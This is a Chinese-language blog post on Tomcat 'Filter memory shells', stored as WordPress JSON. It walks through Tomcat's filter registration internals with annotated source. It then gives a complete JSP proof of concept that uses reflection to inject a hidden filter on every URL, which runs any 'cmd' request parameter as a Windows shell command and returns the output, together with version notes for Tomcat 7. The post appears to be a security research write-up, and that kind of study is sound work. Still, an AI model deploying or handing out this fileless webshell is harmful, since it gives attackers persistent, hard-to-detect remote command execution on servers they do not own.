{"id":357,"date":"2026-08-13T16:32:08","date_gmt":"2026-08-13T08:32:08","guid":{"rendered":"https:\/\/arknight.wiki\/?p=357"},"modified":"2026-08-13T16:32:09","modified_gmt":"2026-08-13T08:32:09","slug":"filter%e5%86%85%e5%ad%98%e9%a9%ac","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/08\/13\/filter%e5%86%85%e5%ad%98%e9%a9%ac\/","title":{"rendered":"Filter\u5185\u5b58\u9a6c"},"content":{"rendered":"<h1>Filter\u5185\u5b58\u9a6c<\/h1>\n<p><a href=\"https:\/\/www.cnblogs.com\/erosion2020\/p\/18577056\">Filter\u5185\u5b58\u9a6c &#8211; Erosion2020 &#8211; \u535a\u5ba2\u56ed<\/a><\/p>\n<h2>Filter\u6837\u4f8b\uff1a<\/h2>\n<pre><code>package org.example.memoryshell;\n\nimport javax.servlet.*;\nimport java.io.IOException;\n\n\/\/ \u5982\u679c\u4e0d\u60f3\u5728web.xml\u4e2d\u914d\u7f6e\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528\u8fd9\u6837\u7684\u6ce8\u89e3\u914d\u7f6e\n\/\/ @WebFilter(filterName = \"FilterShell\", urlPatterns = {\"\/*\"})\npublic class FilterShell implements Filter {\n    @Override\n    public void init(FilterConfig filterConfig) throws ServletException {\n        System.out.println(\"FilterShell init......\");\n        Filter.super.init(filterConfig);\n    }\n\n    @Override\n    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {\n        System.out.println(\"FilterShell doFilter......\");\n    }\n\n    @Override\n    public void destroy() {\n        System.out.println(\"FilterShell destroy......\");\n        Filter.super.destroy();\n    }\n}<\/code><\/pre>\n<p>pom.xml\u4e2d\u7684\u914d\u7f6e\uff1a<\/p>\n<pre><code>&lt;filter&gt;\n    &lt;filter-name&gt;FilterShell&lt;\/filter-name&gt;\n    &lt;filter-class&gt;org.example.memoryshell.FilterShell&lt;\/filter-class&gt;\n&lt;\/filter&gt;\n&lt;filter-mapping&gt;\n    &lt;filter-name&gt;FilterShell&lt;\/filter-name&gt;\n    &lt;url-pattern&gt;\/*&lt;\/url-pattern&gt;\n&lt;\/filter-mapping&gt;<\/code><\/pre>\n<h2>Filter\u521b\u5efa\u8c03\u7528\u6808\uff1a<\/h2>\n<p>\u6211\u4eec\u5728Filter\u7c7b\u7684class\u3001init\u3001doFilter\u8fd9\u4e09\u4e2a\u5730\u65b9\u6253\u4e0a\u65ad\u70b9\u5206\u6790\uff1a<\/p>\n<p>standardcontext\u7c7b\u7684<code>filterStart()<\/code>\u65b9\u6cd5\uff1a<\/p>\n<pre><code>    public boolean filterStart() {\n\n        if (getLogger().isTraceEnabled()) {\n            getLogger().trace(\"Starting filters\");\n        }\n        \/\/ Instantiate and record a FilterConfig for each defined filter\n        boolean ok = true;\n        synchronized (filterDefs) {\n            filterConfigs.clear();\n            for (Entry&lt;String,FilterDef&gt; entry : filterDefs.entrySet()) {\n                String name = entry.getKey();\n                if (getLogger().isTraceEnabled()) {\n                    getLogger().trace(\" Starting filter '\" + name + \"'\");\n                }\n                try {\n                    ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());\n                    filterConfigs.put(name, filterConfig);\n                } catch (Throwable t) {\n                    Throwable throwable = ExceptionUtils.unwrapInvocationTargetException(t);\n                    ExceptionUtils.handleThrowable(throwable);\n                    getLogger().error(sm.getString(\"standardContext.filterStart\", name), throwable);\n                    ok = false;\n                }\n            }\n        }\n\n        return ok;\n    }<\/code><\/pre>\n<p>\u8fd9\u6bb5\u4e3b\u8981\u5c31\u662f\u5c06\u65e7\u7684<code>filterConfigs<\/code>\u6e05\u7a7a\uff0c\u5bf9<code>filterDefs<\/code>\u52a0\u9501\u540e\u5c06\u91cc\u9762\u7684\u6bcf\u4e00\u4e2a\u00a0<code>FilterDef<\/code>\uff08Filter \u5b9a\u4e49\uff0c\u5305\u542b filter-name\u3001filter-class\u3001init-params \u7b49\uff0c\u4e5f\u5c31\u662f\u6211\u4eec\u5728web.xml\u4e2d\u914d\u7f6e\u7684\u90a3\u4e2afilterName\uff09\u5b9e\u4f8b\u5316\u4e3a<code>filterConfig<\/code>\u518d\u653e\u8fdb<code>filterConfigs<\/code>\u3002<\/p>\n<p>\u653e\u5f00\u65ad\u70b9\u540e\u53ef\u4ee5\u770b\u5230\u521d\u59cb\u5316\u65b9\u6cd5\u7684\u8c03\u7528\uff1a<code>org.apache.catalina.core.ApplicationFilterConfig#initFilter<\/code><\/p>\n<pre><code>    private void initFilter() throws ServletException {\n        if (context instanceof StandardContext &amp;&amp; context.getSwallowOutput()) {\n            try {\n                SystemLogHandler.startCapture();\n                filter.init(this);\n            } finally {\n                String capturedlog = SystemLogHandler.stopCapture();\n                if (capturedlog != null &amp;&amp; !capturedlog.isEmpty()) {\n                    getServletContext().log(capturedlog);\n                }\n            }\n        } else {\n            filter.init(this);\n        }\n\n        \/\/ Expose filter via JMX\n        registerJMX();\n    }<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230\u521d\u59cb\u5316\u5fc5\u987b\u8981\u7ecf\u8fc7\u5b9e\u4f8b\u5316\u4e3a\u4e00\u4e2a<code>ApplicationFilterConfig<\/code> \u3002\u56e0\u6b64\u6211\u4eec\u5c31\u9700\u8981\u8003\u8651\u6784\u9020filterDef\u5c06\u5176\u653e\u5230filterDefs\u4e2d\uff0c\u7136\u540e\u8fd8\u6709\u5c31\u662f\u9700\u8981\u518d\u6839\u636efilterDef\u751f\u6210\u4e00\u4e2aApplicationFilterConfig\uff0c\u7136\u540e\u5199\u5165\u5230filterConfigs\u4e2d\u3002<\/p>\n<p>\u6211\u4eec\u518d\u5f80\u4e0b\u53d1\u73b0\u662f<code>org.apache.catalina.core.StandardWrapperValve#invoke<\/code>\u8c03\u7528<code>org.apache.catalina.core.ApplicationFilterChain#doFilter<\/code>\u518d\u8c03\u7528\u5230\u6211\u4eec\u521b\u5efa\u7684filter\u7684dofilter\u3002<\/p>\n<p>\u6211\u4eec\u770b\u770b<code>StandardWrapperValve<\/code>\u8fd9\u4e2a\u7c7b\u4e2d\u7684<code>invoke<\/code>\u65b9\u6cd5\u53d1\u73b0\u5b83\u662f\u5148\u8c03\u7528<code>ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);<\/code>\u518d<code>filterChain.doFilter(request.getRequest(), response.getResponse());<\/code>\u6211\u4eec\u53bb\u770b\u770b<code>org.apache.catalina.core.ApplicationFilterFactory#createFilterChain<\/code>\uff1a<\/p>\n<pre><code>    public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {\n\n        \/\/ \u68c0\u67e5 Servlet \u662f\u5426\u5b58\u5728\n        if (servlet == null) {\n            return null;\n        }\n\n        \/\/ \u521b\u5efa\u6216\u590d\u7528 ApplicationFilterChain \u5bf9\u8c61\n        ApplicationFilterChain filterChain;\n        if (request instanceof Request) {\n            Request req = (Request) request;\n            if (Globals.IS_SECURITY_ENABLED) {\n                \/\/ Security: Do not recycle\n                filterChain = new ApplicationFilterChain();\n            } else {\n                filterChain = (ApplicationFilterChain) req.getFilterChain();\n                if (filterChain == null) {\n                    filterChain = new ApplicationFilterChain();\n                    req.setFilterChain(filterChain);\n                }\n            }\n        } else {\n            \/\/ Request dispatcher in use\n            filterChain = new ApplicationFilterChain();\n        }\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\n    \u00a0\u00a0\u00a0\u00a0\/\/\u5c06\u76ee\u6807 Servlet \u5b9e\u4f8b\u8bbe\u7f6e\u5230\u94fe\u4e2d\uff0c\u5f53\u6240\u6709 Filter \u6267\u884c\u5b8c\u540e\uff0c\u94fe\u4f1a\u8c03\u7528\u8be5 Servlet \u7684 service \u65b9\u6cd5\u3002\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u8bb0\u5f55\u8be5 Wrapper \u662f\u5426\u652f\u6301\u5f02\u6b65\u5904\u7406\uff0c\u4f9b Filter \u94fe\u5728\u6267\u884c\u8fc7\u7a0b\u4e2d\u5224\u65ad\u3002\n        filterChain.setServlet(servlet);\n        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());\n\n        \/\/\u901a\u8fc7 wrapper.getParent() \u83b7\u53d6\u5230 StandardContext\uff08Wrapper \u662f Servlet \u5305\u88c5\u5668\uff0c\u5176\u7236\u7ea7\u662f Context\uff09\u3002\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/context.findFilterMaps() \u8fd4\u56de\u8be5\u5e94\u7528\u4e0a\u4e0b\u6587\u4e2d\u6240\u6709\u5df2\u6ce8\u518c\u7684 FilterMap \u5bf9\u8c61\u6570\u7ec4\u3002\u8fd9\u4e9b FilterMap \u5b9a\u4e49\u4e86\u5404\u4e2a Filter \u7684\u6620\u5c04\u89c4\u5219\uff08URL \u6a21\u5f0f\u3001Servlet \u540d\u79f0\u3001\u8c03\u5ea6\u7c7b\u578b\uff09\u3002\n        StandardContext context = (StandardContext) wrapper.getParent();\n        FilterMap filterMaps[] = context.findFilterMaps();\n\n        \/\/ \u4e3a\u7a7a\u76f4\u63a5\u8fd4\u56de\n        if (filterMaps == null || filterMaps.length == 0) {\n            return filterChain;\n        }\n\n        \/\/ \u6bcf\u4e2a\u8bf7\u6c42\u90fd\u4f1a\u643a\u5e26\u4e00\u4e2a DispatcherType\uff0c\u8868\u793a\u8bf7\u6c42\u662f\u5982\u4f55\u5230\u8fbe\u7684\uff08\u5982 REQUEST\u3001FORWARD\u3001INCLUDE\u3001ERROR\u3001ASYNC\uff09\u3002\u5b83\u5b58\u50a8\u5728 request \u7684\u5c5e\u6027\u4e2d\uff0c\u7531 Tomcat \u5728\u8c03\u7528\u94fe\u5f00\u59cb\u65f6\u8bbe\u7f6e\u3002\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u5982\u679c\u83b7\u53d6\u4e0d\u5230\uff08\u5f02\u5e38\u60c5\u51b5\uff09\uff0c\u9ed8\u8ba4\u4e3a REQUEST \u5e76\u8bb0\u5f55\u8b66\u544a\u3002\n        DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);\n        if (dispatcher == null) {\n            dispatcher = DispatcherType.REQUEST;\n            log.warn(sm.getString(\"applicationFilterFactory.noDispatcherType\"));\n        }\n\n    \u00a0\u00a0\u00a0\u00a0\/\/\u83b7\u53d6\u8bf7\u6c42\u8def\u5f84\u548c Servlet \u540d\u79f0\n        String requestPath = FilterUtil.getRequestPath(request);\n        String servletName = wrapper.getName();\n\n        \/\/ \u6dfb\u52a0\u6240\u6709\u6309 URL \u5339\u914d\u7684 Filter\n        for (FilterMap filterMap : filterMaps) {\n            if (!matchDispatcher(filterMap, dispatcher)) {\n                continue;\n            }\n            if (!FilterUtil.matchFiltersURL(filterMap, requestPath)) {\n                continue;\n            }\n            ApplicationFilterConfig filterConfig =\n                    (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());\n            if (filterConfig == null) {\n                log.warn(sm.getString(\"applicationFilterFactory.noFilterConfig\", filterMap.getFilterName()));\n                continue;\n            }\n            filterChain.addFilter(filterConfig);\n        }\n\n        \/\/ \u6dfb\u52a0\u6309 Servlet \u540d\u79f0\u5339\u914d\u7684 Filter\n    \u00a0\u00a0\u00a0\u00a0\/\/\u904d\u5386\u6240\u6709 FilterMap\u3002\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u7b2c\u4e00\u4e2a\u68c0\u67e5 matchDispatcher\uff1a\u8be5 Filter \u662f\u5426\u652f\u6301\u5f53\u524d\u8c03\u5ea6\u7c7b\u578b\uff08\u5982 REQUEST\uff09\u3002\u82e5\u4e0d\u5339\u914d\u5219\u8df3\u8fc7\u3002\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  \/\/\u7b2c\u4e8c\u4e2a\u68c0\u67e5 matchFiltersURL\uff1a\u5224\u65ad\u8bf7\u6c42\u8def\u5f84\u662f\u5426\u5339\u914d Filter \u6620\u5c04\u4e2d\u7684 URL \u6a21\u5f0f\uff08\u652f\u6301\u7cbe\u786e\u5339\u914d\u3001\u524d\u7f00\u5339\u914d\u3001\u540e\u7f00\u5339\u914d\u7b49\uff0c\u5982 \/*\u3001*.jsp\uff09\u3002\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  \/\/\u82e5\u901a\u8fc7\u68c0\u67e5\uff0c\u5219\u6839\u636e FilterMap \u4e2d\u7684 Filter \u540d\u79f0\uff0c\u4ece StandardContext \u7684 filterConfigs Map \u4e2d\u67e5\u627e\u5bf9\u5e94\u7684 ApplicationFilterConfig\uff08\u5df2\u521d\u59cb\u5316\u7684 Filter \u5b9e\u4f8b\uff09\u3002\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  \/\/\u5982\u679c filterConfig \u4e3a\u7a7a\uff08\u7406\u8bba\u4e0a\u662f\u914d\u7f6e\u9519\u8bef\uff09\uff0c\u8bb0\u5f55\u8b66\u544a\u5e76\u8df3\u8fc7\u3002\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0  \/\/\u6700\u540e\u5c06\u6709\u6548\u7684 filterConfig \u6dfb\u52a0\u5230 filterChain \u4e2d\u3002\n        for (FilterMap filterMap : filterMaps) {\n            if (!matchDispatcher(filterMap, dispatcher)) {\n                continue;\n            }\n            if (!matchFiltersServlet(filterMap, servletName)) {\n                continue;\n            }\n            ApplicationFilterConfig filterConfig =\n                    (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());\n            if (filterConfig == null) {\n                log.warn(sm.getString(\"applicationFilterFactory.noFilterConfig\", filterMap.getFilterName()));\n                continue;\n            }\n            filterChain.addFilter(filterConfig);\n        }\n\n        \/\/ \u8fd4\u56de\n        return filterChain;\n    }<\/code><\/pre>\n<p>\u53ef\u4ee5\u6ce8\u610f\u5230<code>filterMaps[]<\/code>\u5b58\u653e\u7684\u5c31\u662f\u6211\u4eecfilter\u7684url\u6620\u5c04\uff0c\u5373<code>FilterName<\/code> \u548c\u5bf9\u5e94\u7684<code>URLPattern<\/code>\u3002<\/p>\n<p>\u76f8\u5173\u7684\u6570\u636e\u7ed3\u6784\uff1a<\/p>\n<ul>\n<li>FilterDefs\uff1a\u5b58\u653eFilterDef\u7684\u6570\u7ec4 \uff0cFilterDef \u4e2d\u5b58\u50a8\u7740\u6211\u4eec\u8fc7\u6ee4\u5668\u540d\uff0c\u8fc7\u6ee4\u5668\u5b9e\u4f8b\uff0c\u4f5c\u7528 url \u7b49\u57fa\u672c\u4fe1\u606f<\/li>\n<li>FilterConfigs\uff1a\u5b58\u653efilterConfig\u7684\u6570\u7ec4\uff0c\u5728 FilterConfig \u4e2d\u4e3b\u8981\u5b58\u653e FilterDef \u548c Filter\u5bf9\u8c61\u7b49\u4fe1\u606f<\/li>\n<li>FilterMaps\uff1a\u5b58\u653eFilterMap\u7684\u6570\u7ec4\uff0c\u5728 FilterMap \u4e2d\u4e3b\u8981\u5b58\u653e\u4e86 FilterName \u548c \u5bf9\u5e94\u7684URLPattern<\/li>\n<li>FilterChain\uff1a\u8fc7\u6ee4\u5668\u94fe\uff0c\u8be5\u5bf9\u8c61\u4e0a\u7684 doFilter \u65b9\u6cd5\u80fd\u4f9d\u6b21\u8c03\u7528\u94fe\u4e0a\u7684 Filter<\/li>\n<li>ContextConfig\uff1aWeb\u5e94\u7528\u7684\u4e0a\u4e0b\u6587\u914d\u7f6e\u7c7b<\/li>\n<li>StandardContext\uff1aContext\u63a5\u53e3\u7684\u6807\u51c6\u5b9e\u73b0\u7c7b\uff0c\u4e00\u4e2a Context \u4ee3\u8868\u4e00\u4e2a Web \u5e94\u7528\uff0c\u5176\u4e0b\u53ef\u4ee5\u5305\u542b\u591a\u4e2a Wrapper<\/li>\n<li>StandardWrapperValve\uff1a\u4e00\u4e2a Wrapper \u7684\u6807\u51c6\u5b9e\u73b0\u7c7b\uff0c\u4e00\u4e2a Wrapper \u4ee3\u8868\u4e00\u4e2aServlet<\/li>\n<\/ul>\n<h2>POC\uff1a<\/h2>\n<pre><code>&lt;%--\n  Created by IntelliJ IDEA.\n  User: 15137\n  Date: 2024\/11\/29\n  Time: 14:33\n  To change this template use File | Settings | File Templates.\n--%&gt;\n&lt;%@ page import=\"org.apache.catalina.core.ApplicationContext\" %&gt;\n&lt;%@ page import=\"java.lang.reflect.Field\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.core.StandardContext\" %&gt;\n&lt;%@ page import=\"java.util.Map\" %&gt;\n&lt;%@ page import=\"java.io.IOException\" %&gt;\n&lt;%@ page import=\"org.apache.tomcat.util.descriptor.web.FilterDef\" %&gt;\n&lt;%@ page import=\"org.apache.tomcat.util.descriptor.web.FilterMap\" %&gt;\n&lt;%@ page import=\"java.lang.reflect.Constructor\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.core.ApplicationFilterConfig\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.Context\" %&gt;\n&lt;%@ page language=\"java\" contentType=\"text\/html; charset=UTF-8\" pageEncoding=\"UTF-8\"%&gt;\n\n&lt;%\n    final String name = \"y4tacker\";\n    ServletContext servletContext = request.getSession().getServletContext();\n\n    Field appctx = servletContext.getClass().getDeclaredField(\"context\");\n    appctx.setAccessible(true);\n    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);\n\n    Field stdctx = applicationContext.getClass().getDeclaredField(\"context\");\n    stdctx.setAccessible(true);\n    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);\n\n    Field Configs = standardContext.getClass().getDeclaredField(\"filterConfigs\");\n    Configs.setAccessible(true);\n    Map filterConfigs = (Map) Configs.get(standardContext);\n\n    if (filterConfigs.get(name) == null){\n        Filter filter = new Filter() {\n            @Override\n            public void init(FilterConfig filterConfig) throws ServletException {\n\n            }\n\n            @Override\n            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {\n                HttpServletRequest req = (HttpServletRequest) servletRequest;\n                if (req.getParameter(\"cmd\") != null){\n                    byte[] bytes = new byte[1024];\n                    Process process = new ProcessBuilder(\"cmd\",\"\/c\",req.getParameter(\"cmd\")).start();\n                    int len = process.getInputStream().read(bytes);\n                    servletResponse.getWriter().write(new String(bytes,0,len));\n                    process.destroy();\n                    return;\n                }\n                filterChain.doFilter(servletRequest,servletResponse);\n            }\n\n            @Override\n            public void destroy() {\n\n            }\n\n        };\n\n        FilterDef filterDef = new FilterDef();\n        filterDef.setFilter(filter);\n        filterDef.setFilterName(name);\n        filterDef.setFilterClass(filter.getClass().getName());\n        standardContext.addFilterDef(filterDef);\n\n        FilterMap filterMap = new FilterMap();\n        filterMap.addURLPattern(\"\/*\");\n        filterMap.setFilterName(name);\n        filterMap.setDispatcher(DispatcherType.REQUEST.name());\n\n        standardContext.addFilterMapBefore(filterMap);\n\n        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);\n        constructor.setAccessible(true);\n        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);\n\n        filterConfigs.put(name,filterConfig);\n        out.print(\"Inject Success !\");\n    }\n%&gt;\n\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;Title&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<p>\u8fd9\u79cd\u6ce8\u5165filter\u5185\u5b58\u9a6c\u7684\u65b9\u6cd5\u53ea\u652f\u6301 Tomcat 7.x \u4ee5\u4e0a\uff0c\u56e0\u4e3a javax.servlet.DispatcherType \u7c7b\u662fservlet 3 \u4ee5\u540e\u5f15\u5165\uff0c\u800c Tomcat 7\u4ee5\u4e0a\u624d\u652f\u6301 Servlet 3<\/p>\n<pre><code> filterMap.setDispatcher(DispatcherType.REQUEST.name());<\/code><\/pre>\n<p>\u53e6\u5916\u5728tomcat\u4e0d\u540c\u7248\u672c\u9700\u8981\u901a\u8fc7\u4e0d\u540c\u7684\u5e93\u5f15\u5165FilterMap\u548cFilterDef\uff1a<\/p>\n<pre><code>&lt;!-- tomcat 7 --&gt;\n&lt;%@ page import = \"org.apache.catalina.deploy.FilterMap\" %&gt;\n&lt;%@ page import = \"org.apache.catalina.deploy.FilterDef\" %&gt;<\/code><\/pre>\n<pre><code><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Filter\u5185\u5b58\u9a6c Filter\u5185\u5b58\u9a6c &#8211; Erosion2020 &#8211; \u535a\u5ba2\u56ed Fil [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,3],"tags":[],"class_list":["post-357","post","type-post","status-publish","format-standard","hentry","category-java","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/357","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=357"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/357\/revisions"}],"predecessor-version":[{"id":358,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/357\/revisions\/358"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=357"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=357"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=357"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}